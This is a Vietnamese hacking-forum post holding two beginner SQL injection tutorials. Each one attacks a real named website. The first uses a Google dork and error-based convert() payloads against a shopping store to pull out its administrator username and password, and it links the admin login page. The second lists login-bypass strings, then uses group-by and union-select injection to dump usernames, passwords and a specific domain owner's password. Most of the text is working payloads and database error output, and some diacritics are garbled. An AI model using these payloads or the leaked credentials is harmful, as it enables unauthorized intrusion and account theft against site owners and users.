Thường thì các bạn chỉ search site dính sql injection và site đó xài ASP đúng không ... vậy sao ko search những site dùng cfm nhỉ. Hum nay lướt chơi thấy có site bị lỗi nên đánh bạo post bài cho anh em đọc có câu cú gì sai sót về kĩ thuật xin anh em lượng thứ Tui là newbie mờ ...
Lên google gõ từ khóa : allinurl:"affiliate-agreement.cfm?storeid"
Và kết quả cho ta vài trang ... okie chọn đại 1 trang coi tui chọn thằng này : QUOTE
http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=
Thêm dấu ' vào xem ...
QUOTE
http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=' QUOTE
Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Line 3:
Incorrect syntax near ''.
The error occurred in E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4 Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23 Called from E:\mars\wwwroot\channel69shopping\store\loadconfig.cfm: line 4
Called from E:\mars\wwwroot\channel69shopping\store\affiliate-agreement.cfm: line 23
2 : SELECT * 3 : FROM config
4 : WHERE ID=#storeid#
5 : </CFQUERY>
Chậc sao nhòm cái error wen wá dzậy trời ... Giờ ta thử 1 chút xem sao QUOTE
http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%
20table_name%20from%20information_schema.tables))--sp_password Ặc ... xem cái gì hiện ra nè mấy bồ
QUOTE
Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'administration' to a column of data type int.
Hay quá ta mới test đã ra cái mình cần rùi nè ... Lấy username và pass thui hihi à quên ... với thằng này bạn không thể lấy cùng lúc cả username và pass được mà bạn phải lấy từng thằng một ... Không hiểu sao ... Kệ ... Có còn hơn không nhaQUOTE
[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%
20username from administration]http://www.channel69shopping.com/store/aff...%201%20username[/url] from administration
Username là Administrator Rùi pass nữa nha
QUOTE
[url=http://www.channel69shopping.com/store/affiliate-agreement.cfm?storeid=%2bconvert(int,(select%20top%201%
20password from administration]http://www.channel69shopping.com/store/aff...%201%20password[/url] from administration
Hehe pass nè : cartease Login đi thôi
http://www.channel69shopping.com/store/admin
Đã check thành công post cho các bác newbie như destroyer thực hành hope success
TUTORIAL NAØY KHOÂNG BIEÁT TAÙC GIAÛ
Trong bài viết này, tôi sẽ có kèm theo quá trình inject môt website và lỵ ́ thuyết cơ bản về SQL injection để các ban cọ́ thể hiểu rõ hơn. Nhưng có lẽ là chỉ cho newbie thôi, khi nào rỗi tôi sẽ viết và hướng dẫn advance sql injection, tất nhiên có kèm theo môt site để cạ́ c ban thự̣ c hành.
Chúng ta hãy bắt đầu :
Sql injection đang dần phổ biến hiên nay, vạ ̀ có lẽ lỗi nhiều nhất vẫn là ở các site MS SQl. Nó rất nguy hiểm, nó cho phép chúng ta login mà không cần username và password, remote execution, dump data và truy xuất username + password ra ngoài bằng cách input các query/command vào input trước khi chuyển cho ứng dụng web xử lí. Để thử
xem site đó có bi lỗi hay không, bạ n thử input vào cạ́ c field username và pass bằng :
" or 1=1-- or 1=1-- ' or a=a--
" or "a"="a ') or ('a'='a
") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a 'or''='
và còn rất nhiều nữa tôi không tiên việ ́t ở đây. Rất có thể ban sẽ login đượ̣ c vào với quyền admin hoă ̣c môt user nàọ đó. Nhưng ở bài viết này tôi nói đến cách truy xuất username và password ra ngoài để chúng ta mă ̣c nhiên vào trong CP. Ở đây, tôi sẽ lấy ra môt site bậ ́t kỳ, nhưng khi ban muộ ́n tấn công môt trang nạ ̀o đó thì lai khác, bạ n phạ̉ i bỏ công ra tìm link nhiễm.
Muc tiêu tậ ́n công :http://www.naame.com/manageAccount/manaccount516.asp
Bây giờ để xác đinh xem cọ ́ bi SQL injection không, bạ n thử input cạ ́c lênh tôi liệ t kê ở trên, không by pass login đượ̣ c ban input thử dậ́ u ngoă ̣c đơn '
kết quả :
Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark before the character string '''.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
thế là biết muc tiêu bị lỗi rộ̀ i nhé, bây giờ viêc cần lạ̀ m là lấy được ra các table name của nó, dùng : 'having 1=1-- .Baṇ hãy để ý thấy dâu --, vâng trong MS SQL, tất cả các thứ sau -- sẽ bi loạ i bọ ̉.
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Ok rồi : Column 'LoginTable.Account' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
Vây là ta lậ ́y được 1 table rồi đó. Bước tiếp theo : 'GROUP BY LoginTable.Account having 1=1-- Nó báo :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'LoginTable.UserName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Lai lậ ́y được thêm môt cộ t nữa rộ̀ i. Ban thay vào : (thêm 1 cộ t và ngăn cạ ́ch bằng dấu phẩy)
'GROUP BY LoginTable.Account, LoginTable.UserName having 1=1--
Ban cứ làm thế đệ ̉ lấy các table của nó. Tôi đã lấy sẵn ra cho các ban :̣
'group by LoginTable.Account, LoginTable.UserName, LoginTable.Password, LoginTable.DomainName, LoginTable.
Credits, LoginTable.LoginType having 1=1--
Lấy được các table rồi thì làm gì? Các các ban nhìn vào cộ t "username" và "password" là thèm lắm rồi, muộ ́n lấy ra ngay, híc, nhưng phải từ từ đã, đi đâu mà vôi. Cọ ́ được nó rồi, ta thử tìm môt link bị lỗi (tìm nọ ́ trên thành address bằng cách thêm ' vào sau = hoă ̣c =cái gì đó'). Nhưng mà ở trang này nó không có môt link nào dính lỗi, thì ta lạ i dự̣ a vào cái forum input vây.̣
Ta thử nhé : (input vào field username và password rồi submit thử).
'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h'--
hì, chắc các ban sẽ họ ̉i mấy cái thằng 1,1,1,1,1 là gì sao lai đă ̣̣ t ở đó, nói nôm na và dễ hiểu cho newbie luôn là các baṇ đếm xem có bao nhiêu côt ngoạ i trừ cộ t Username và thay cho mỗi cộ t đọ ́ là 1 . thế thôi. Còn thằng UserName > 'h' à, nó sẽ "xuất" ra môt username bậ ́t kỳ bắt đầu bằng letter 'h' .
Nó báo :
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'h20h20' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33
Cười tươi xem nào, có 1 thằng username làm cảnh rồi nhé. Muốn biết password của náo thì làm như sau : 'union select Password,1,1,1,1,1 from LoginTable where UserName = 'h20h20'--
Ta thay sau UserName là dấu = 'username vừa lấy được'-- Nó báo :
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'legogame' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33 Hì, password là legogame kìa, ban login đi, còn chờ gì nữa.̣
* Note :
Nếu ban muộ ́n lấy thêm nhiều username khác thì :
'union select min(UserName),1,1,1,1,1 from LoginTable where UserName > 'h20h20'--
nó sẽ lấy ra môt username khạ ́c. Nếu ban muộ ́n username bắt đầu bằng B chẳng han, thì thay bằng 'b'-- thệ ́ thôi.
trong trường hợp ban muộ ́n tấn login vào môt domain nào đọ ́ đinh trước thì thay côt DomainName vào cộ t UserName.̣ Ví du , tôi ghẹ ́t thằng maika, nó có cái domain là H0MES4RENT.com mua ở đó thì tôi muốn biết password của nó ta dùng :
'union select password,1,1,1,1,1 from LoginTable where DomainName = 'H0MES4RENT.com'-- Nó báo :
Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'joepinguelo' to a column of data type int.
/manageAccount/acctIncludes/manaccount_inc.asp, line 33